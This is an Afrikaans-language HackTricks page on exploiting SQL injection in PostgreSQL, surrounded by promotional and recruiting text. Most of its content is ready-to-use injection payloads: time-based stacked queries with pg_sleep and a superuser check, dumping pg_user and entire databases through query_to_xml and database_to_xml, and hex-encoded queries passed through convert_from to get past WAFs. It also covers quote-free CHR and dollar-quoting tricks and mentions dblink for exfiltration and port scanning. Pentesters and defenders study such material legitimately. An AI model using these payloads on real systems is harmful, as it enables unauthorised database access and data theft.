7.1 KiB
PostgreSQL-inspuiting
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsieplanne!
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PR's in te dien na die HackTricks en HackTricks Cloud github repos.
As jy belangstel in 'n hacking loopbaan en die onhackbare hack - ons is op soek na mense! (vloeiend in geskryf en gesproke Pools vereis).
{% embed url="https://www.stmcyber.com/careers" %}
Hierdie bladsy het ten doel om verskillende truuks te verduidelik wat jou kan help om 'n SQL-inspuiting in 'n postgresql-databasis te benut en om die truuks aan te vul wat jy kan vind op https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md
Netwerkinteraksie - Privilege Escalation, Port Scanner, NTLM-uitdaging respons openbaarmaking & Exfiltrasie
Die PostgreSQL-module dblink
bied vermoëns om met ander PostgreSQL-instanties te verbind en TCP-verbindinge uit te voer. Hierdie funksies, gekombineer met die COPY FROM
funksionaliteit, stel aksies soos privilege escalatie, poortskandering, en NTLM-uitdaging respons vang in staat. Vir gedetailleerde metodes om hierdie aanvalle uit te voer, kyk hoe om hierdie aanvalle uit te voer.
Exfiltrasie voorbeeld met dblink en groot voorwerpe
Jy kan hierdie voorbeeld lees om 'n CTF-voorbeeld te sien van hoe om data binne groot voorwerpe te laai en dan die inhoud van groot voorwerpe binne die gebruikersnaam van die funksie dblink_connect
te exfiltreer.
PostgreSQL-aanvalle: Lees/skryf, RCE, privesc
Kyk hoe om die gasheer te kompromitteer en voorregte van PostgreSQL te verhoog in:
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}
WAF omseiling
PostgreSQL String funksies
Die manipulasie van stringe kan jou help om WAF's of ander beperkings te omseil.
Op hierdie bladsy kan jy nuttige String funksies vind.
Gestapelde Vrae
Onthou dat postgresql gestapelde vrae ondersteun, maar verskeie toepassings sal 'n fout gooi as 2 antwoorde teruggestuur word wanneer net 1 verwag word. Maar, jy kan steeds die gestapelde vrae misbruik via Tyd inspuiting:
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
XML truuks
query_to_xml
Hierdie funksie sal al die data in XML-formaat in net een lêer teruggee. Dit is ideaal as jy 'n groot hoeveelheid data in net 1 ry wil dump:
SELECT query_to_xml('select * from pg_user',true,true,'');
database_to_xml
Hierdie funksie sal die hele databasis in XML-formaat in net 1 ry dump (wees versigtig as die databasis baie groot is, aangesien jy dit dalk DoS of selfs jou eie kliënt kan beïnvloed):
SELECT database_to_xml(true,true,'');
Strings in Hex
As jy navrae kan uitvoer deur dit binne 'n string te stuur (byvoorbeeld deur die query_to_xml
funksie te gebruik). Jy kan die convert_from gebruik om die string as hex te stuur en filters op hierdie manier te omseil:
{% code overflow="wrap" %}
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
{% endcode %}
Verbode aanhalings
As jy nie aanhalings vir jou payload kan gebruik nie, kan jy dit omseil met CHR
vir basiese clausules (karakter-konkatenasie werk slegs vir basiese vrae soos SELECT, INSERT, DELETE, ens. Dit werk nie vir alle SQL-verklarings):
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
Of met $
. Hierdie vrae lewer dieselfde resultate:
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
As jy belangstel in 'n hacking loopbaan en die onhackbare hack - ons huur aan! (vloeiend Pools geskryf en gesproke vereis).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.